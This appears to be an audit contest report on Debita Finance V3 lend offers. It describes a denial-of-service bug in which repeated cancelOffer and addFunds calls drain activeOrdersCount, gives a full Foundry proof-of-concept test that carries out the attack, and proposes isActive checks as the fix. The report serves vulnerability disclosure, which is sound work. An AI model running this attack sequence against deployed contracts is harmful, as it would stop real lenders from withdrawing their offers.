Flaky Indigo Parrot

High

# DOS attack in the lendOrderFactory

### Summary

A mallicious lender can prevent other lenders to cancel their lendOrders by calling addFunds after having 

### Root Cause


When a lender cancel his lend order by calling the cancelOffer the isActive variable is set to false and the function deleteOrder in the DLOFactory contract is called as we can see here: 

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159
the activeOrdersCount variable is decreased by one as we can see :
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207-L220
In order to call cancelOffer the lenderOrder must have some available amount.
But the addFunds function has absolutely no checks if to ensure that the loan is active as we can see : 
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162-L176

So if after calling cancelOffer the lender call addFund he will increase de available amount and then he will be able to call cancelOffer again and get the activeOrdersCount decrease by 1. However there is no lends that have been canceled.  We arrive in a state where there is more lends that the activeCount which break a core invariant of the protocole.
 

### Internal pre-conditions

1. There is at least one lendOrder

### External pre-conditions

none

### Attack Path

1. A malicious user want to prevent all the lender from cancel their offers, he create a lend order.
2. He then cancel his lend order 
3. he call addFund and cancelOffer
4. He repeat the process until activeCountOffer =0

### Impact

No lender will be able to cancel his offer whether by calling cancelOffer or by matching perfectly the lend offer with a borrow offer.

### PoC

You can copy and paste this code in a file in the test folder and run forge test --mt  test_cancelOfferDOSAttack: 

The setUp function deploy all the contracts in the scope plus tokens and priceFeeds mocks
```solidity 
// SPDX-License-Identifier: GPL-2.0
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
//import {ERC721}
import {buyOrderFactory} from "@contracts/buyOrders/buyOrderFactory.sol";
import {BuyOrder} from "@contracts/BuyOrders/BuyOrder.sol";
import {veNFTAerodrome} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/Receipt-veNFT.sol";
import {TaxTokensReceipts} from "@contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol";
import {DebitaChainlink} from "@contracts/oracles/DebitaChainlink.sol";
import {DebitaPyth} from "@contracts/oracles/DebitaPyth.sol";
import {DynamicData} from "test/interfaces/getDynamicData.sol";
import {VotingEscrow} from "@aerodrome/VotingEscrow.sol";

contract CodedPOC is Test {
    DBOFactory borrowFactory;
    DLOFactory lendFactory;
    Ownerships ownerships;
    DebitaV3Aggregator aggregator;
    DebitaIncentives incentives;
    auctionFactoryDebita auctionFactory;
    ERC20Mock AERO;
    ERC20Mock USDC;
    buyOrderFactory buyFactory;
    DebitaChainlink oracleChainlink;
    DebitaPyth oraclePyth;
    MockV3Aggregator priceFeedAERO;
    MockV3Aggregator priceFeedUSDC;
    MockV3Aggregator priceFeedWBTC;
    TaxTokensReceipts taxTokenReceipts;
    DynamicData allDynamicData;
    veNFTAerodrome veNFT;
    WBTC wbtc;
    address constant BOB = address(0x10000);
    address constant ALICE = address(0x20000);
    address constant CHARLIE = address(0x30000);
    address constant CONNECTOR = address(0x40000);
    address constant forwarder = address(0x50000);
    address constant factoryRegistry = address(0x60000);
    address sender;
    address[] internal users;
    VotingEscrow escrow;
    function setUp() public {
         vm.warp(1524785992);
        allDynamicData = new DynamicData();
        users = [BOB, ALICE, CHARLIE];
        AERO = new ERC20Mock();
        USDC = new ERC20Mock();
        wbtc = new WBTC(8);
        escrow = new VotingEscrow(forwarder,address(AERO),factoryRegistry);
        veNFT = new veNFTAerodrome(address(escrow),address(AERO));
        DBOImplementation dbo = new DBOImplementation();
        DLOImplementation dlo = new DLOImplementation();
        borrowFactory = new DBOFactory(address(dbo));
        lendFactory = new DLOFactory(address(dlo));
        ownerships = new Ownerships();
        incentives = new DebitaIncentives();
        auctionFactory = new auctionFactoryDebita();
        DebitaV3Loan loan = new DebitaV3Loan();
        aggregator = new DebitaV3Aggregator(
            address(lendFactory),
            address(borrowFactory),
            address(incentives),
            address(ownerships),
            address(auctionFactory),
            address(loan)
        );

        ownerships.setDebitaContract(address(aggregator));
        auctionFactory.setAggregator(address(aggregator));
        lendFactory.setAggregatorContract(address(aggregator));
        borrowFactory.setAggregatorContract(address(aggregator));
        incentives.setAggregatorContract(address(aggregator));
        BuyOrder buyOrder;
        buyFactory = new buyOrderFactory(address(buyOrder));
        _setOracles();
        taxTokenReceipts =
            new TaxTokensReceipts(address(USDC), address(borrowFactory), address(lendFactory), address(aggregator));
        aggregator.setValidNFTCollateral(address(taxTokenReceipts), true);
        aggregator.setValidNFTCollateral(address(veNFT), true);
        incentives.whitelListCollateral(address(AERO),address(USDC),true);
        incentives.whitelListCollateral(address(USDC),address(AERO),true);

        vm.label(address(AERO), "AERO");
        vm.label(address(USDC), "USDC");
        vm.label(address(priceFeedAERO), "priceFeedAERO");
        vm.label(address(priceFeedUSDC), "priceFeedUSDC");
        vm.label(BOB, "Bob");
        vm.label(ALICE, "Alice");
        vm.label(CHARLIE, "Charlie");
        vm.label(address(wbtc), "WBTC");
        for (uint256 i = 0; i < users.length; i++) {
            AERO.mint(users[i], 100_000_000e18);
            vm.startPrank(users[i]);
            AERO.approve(address(borrowFactory), type(uint256).max);
            AERO.approve(address(lendFactory), type(uint256).max);
            AERO.approve(address(escrow), type(uint256).max);
            AERO.approve(address(incentives), type(uint256).max);
            USDC.mint(users[i], 100_000_000e18);
            USDC.approve(address(borrowFactory), type(uint256).max);
            USDC.approve(address(lendFactory), type(uint256).max);
            USDC.approve(address(taxTokenReceipts), type(uint256).max);
            USDC.approve(address(incentives), type(uint256).max);
            wbtc.mint(users[i], 100_000e8);
            wbtc.approve(address(borrowFactory), type(uint256).max);
            wbtc.approve(address(lendFactory), type(uint256).max);
            wbtc.approve(address(taxTokenReceipts), type(uint256).max);
            wbtc.approve(address(incentives), type(uint256).max);
            
            vm.stopPrank();
        }
  
    }

    function _setOracles() internal {
        oracleChainlink = new DebitaChainlink(address(0x0), address(this));
        oraclePyth = new DebitaPyth(address(0x0), address(0x0));
        aggregator.setOracleEnabled(address(oracleChainlink), true);
        aggregator.setOracleEnabled(address(oraclePyth), true);
        priceFeedAERO = new MockV3Aggregator(8, 1.28e8);
        priceFeedUSDC = new MockV3Aggregator(8, 1e8);
        priceFeedWBTC = new MockV3Aggregator(8, 90_000e8);
        oracleChainlink.setPriceFeeds(address(AERO), address(priceFeedAERO));
        oracleChainlink.setPriceFeeds(address(USDC), address(priceFeedUSDC));
        oracleChainlink.setPriceFeeds(address(wbtc), address(priceFeedWBTC));

    }

 function test_cancelOfferDOSAttack() public {
      bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint256[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint256[] memory ratio = allDynamicData.getDynamicUintArray(1);
        address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData.getDynamicAddressArray(1);
        ltvs[0] = 6340;
        acceptedCollaterals[0] = address(USDC);
        oraclesActivated[0] = true;
        acceptedPrinciples[0] = address(AERO);
        oraclesPrinciples[0] = address(oracleChainlink);
        ratio[0] = 0;
         ltvs[0]= 9187;
        vm.prank(ALICE);
        address lendOrderAlice= lendFactory.createLendOrder(false, oraclesActivated, false, ltvs, 1, 91133 , 86400 , acceptedCollaterals, address(AERO), oraclesPrinciples, ratio, address(oracleChainlink), 10_000e18);
        vm.prank(BOB);
        address lendOrderBob= lendFactory.createLendOrder(false, oraclesActivated, false, ltvs, 1, 91133 , 86400 , acceptedCollaterals, address(AERO), oraclesPrinciples, ratio, address(oracleChainlink), 1);
        vm.startPrank(BOB);
         DLOImplementation(lendOrderBob).cancelOffer();
        ERC20( acceptedPrinciples[0]).approve(lendOrderBob, 1);
      DLOImplementation(lendOrderBob).addFunds(1);

      DLOImplementation(lendOrderBob).cancelOffer();
      vm.stopPrank();
      assertEq(lendFactory.activeOrdersCount(),0);
       vm.startPrank(ALICE);
      vm.expectRevert();
      DLOImplementation(lendOrderAlice).cancelOffer();
      vm.stopPrank();
 }
  
}


contract WBTC is ERC20Mock {
    uint8 private _decimals;
    constructor(uint8 decimal) ERC20Mock() {
         _decimals=decimal;
    }

 function decimals() public view override returns (uint8) {
        return _decimals;
    }
    function setDecimals(uint8 decimal) public {
        _decimals=decimal;
    }
}
contract MockV3Aggregator  {
  uint256 public constant  version = 0;

  uint8 public  decimals;
  int256 public  latestAnswer;
  uint256 public  latestTimestamp;
  uint256 public  latestRound;

  mapping(uint256 => int256) public  getAnswer;
  mapping(uint256 => uint256) public  getTimestamp;
  mapping(uint256 => uint256) private getStartedAt;

  constructor(uint8 _decimals, int256 _initialAnswer) {
    decimals = _decimals;
    updateAnswer(_initialAnswer);
  }

  function updateAnswer(int256 _answer) public {
    latestAnswer = _answer;
    latestTimestamp = block.timestamp;
    latestRound++;
    getAnswer[latestRound] = _answer;
    getTimestamp[latestRound] = block.timestamp;
    getStartedAt[latestRound] = block.timestamp;
  }

  function updateRoundData(uint80 _roundId, int256 _answer, uint256 _timestamp, uint256 _startedAt) public {
    latestRound = _roundId;
    latestAnswer = _answer;
    latestTimestamp = _timestamp;
    getAnswer[latestRound] = _answer;
    getTimestamp[latestRound] = _timestamp;
    getStartedAt[latestRound] = _startedAt;
  }
  
  function getRoundData(
    uint80 _roundId
  )
    external
    view
    returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
  {
    return (_roundId, getAnswer[_roundId], getStartedAt[_roundId], getTimestamp[_roundId], _roundId);
  }

  function latestRoundData()
    external
    view
    returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
  {
    return (
      uint80(latestRound),
      getAnswer[latestRound],
      getStartedAt[latestRound],
      getTimestamp[latestRound],
      uint80(latestRound)
    );
  }

  function description() external pure  returns (string memory) {
    return "v0.8/tests/MockV3Aggregator.sol";
  }
}
```
You should have this output : 
```solidity 
[PASS] test_cancelOfferDOSAttack() (gas: 1457999)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.00ms (601.58Âµs CPU time)
```
The test passed the alice call reverted and the activeCountOffer == 0 alice can not cancel her offer anymore.

### Mitigation

Add checks in the cancelOffer and addFunds functions like that : 

```solidity 
 function cancelOffer() public onlyOwner nonReentrant {
   require(isActive, "Offer is not active");
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }

    // only loans or owner can call this functions --> add more funds to the offer
    function addFunds(uint amount) public nonReentrant {
   require(isActive, "Offer is not active");
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }

```